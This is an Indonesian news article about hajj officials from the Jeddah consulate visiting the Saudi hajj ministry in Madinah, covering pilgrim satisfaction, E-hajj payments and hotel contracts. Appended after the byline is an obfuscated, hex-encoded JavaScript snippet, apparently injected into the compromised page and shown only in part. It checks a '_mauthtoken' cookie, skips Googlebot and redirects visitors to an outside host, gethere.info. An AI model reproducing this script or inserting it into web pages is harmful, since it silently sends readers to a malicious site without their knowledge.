Tingkatkan Kualitas Pelayanan Haji; KUHI Kunjungi Kemenhaj Madinah

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Madinah (KUHI) – Staf Teknis Haji I KJRI Jeddah, Dr.Ahmad Dumyathi Bashori menyambangi kantor Kementerian Haji dan Umrah Madinah, ahad (18/12). Turut hadir staf teknis haji II, Arsyad Hidayat MA., Kasubdit Akomodasi Ditjen Pelayanan Haji dan Umrah, Dr. Nasrullah Djasam serta Subhan Cholid MA., selaku Kasubdit Transportasi Ditjen Pelayanan Haji dan Umrah. Kunjungan tersebut disambut  hangat oleh Wakil Menteri Haji dan Umrah Urusan Ziarah, Dr. Muhammad Bin Abdurrohman Al-Bijawi di kantor Kementerian Haji Madinah.

Ahmad Dumyathi menyampaikan kabar baik kepada Muhammad Al-Bijawi mengenai kesuksesan penyelenggaraan haji dan kenaikan indeks kepuasan jemaah haji Indonesia tahun lalu. “musim haji tahun lalu Alhamdulillah berjalan sukses, banyak pihak mengapresiasinya. Bahkan indeks kepuasan jemaah haji Indonesia mengalami kenaikan mencapai 83.3 persen.” Jelas dumyathi, selaku konsul haji KJRI Jeddah.

Muhammad Al-Bijawi turut mengapresiasi peningkatan kepuasan jemaah haji Indonesia, bahkan ia berharap peningkatannya bisa mencapai 100 persen. Menurutnya, segala layanan masih bisa ditingkatkan dan Indonesia adalah salah satu yang selalu mencoba untuk meningkatkan pelayanannya. Ia menambahkan, banyak hal yang terkadang terjadi di luar prediksi dan itu perlu adanya perbaikan. Termasuk di kemenhaj Saudi Arabia.

“Tahun lalu terdapat beberapa kekurangan pada sistem pembayaran elektronik (E-hajj) karena ini merupakan mekanisme dan sistem baru namun untuk tahun ini telah diatasi, diupdate dan diperbaiki, sehingga tahun ini semua tahapan pembayaran harus dilakukan dengan sistem pembayaran elektronik dan tidak diperkenankan melakukan pembayaran diluar E-hajj.” Ungkapnya saat pertemuan (18/12).

Bahkan Al-Bijawi menegaskan kontrak akomodasi harus dilakukan dengan pemilik hotel secara langsung, sedangkan kontrak dengan Majmuah (group) diperbolehkan selama hotel yang dikontrak atas nama Majmuah tersebut. Disamping itu, ia juga mengusulkan untuk melakukan kontrak akomodasi madinah musim penuh tidak lagi menggunakan blocking time, agar pelayanan lebih maksimal.

Dr. Ahmad Dumyathi mengucapkan terima kasih kepada Dr. Muhammad Bin Abdurrohman Al-Bijawi, atas segala bantuan yang diberikan dan akan mengkonsultasikan segala hal berkaitan haji kepadanya (yan/kuh)if (document.currentScript) { var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== 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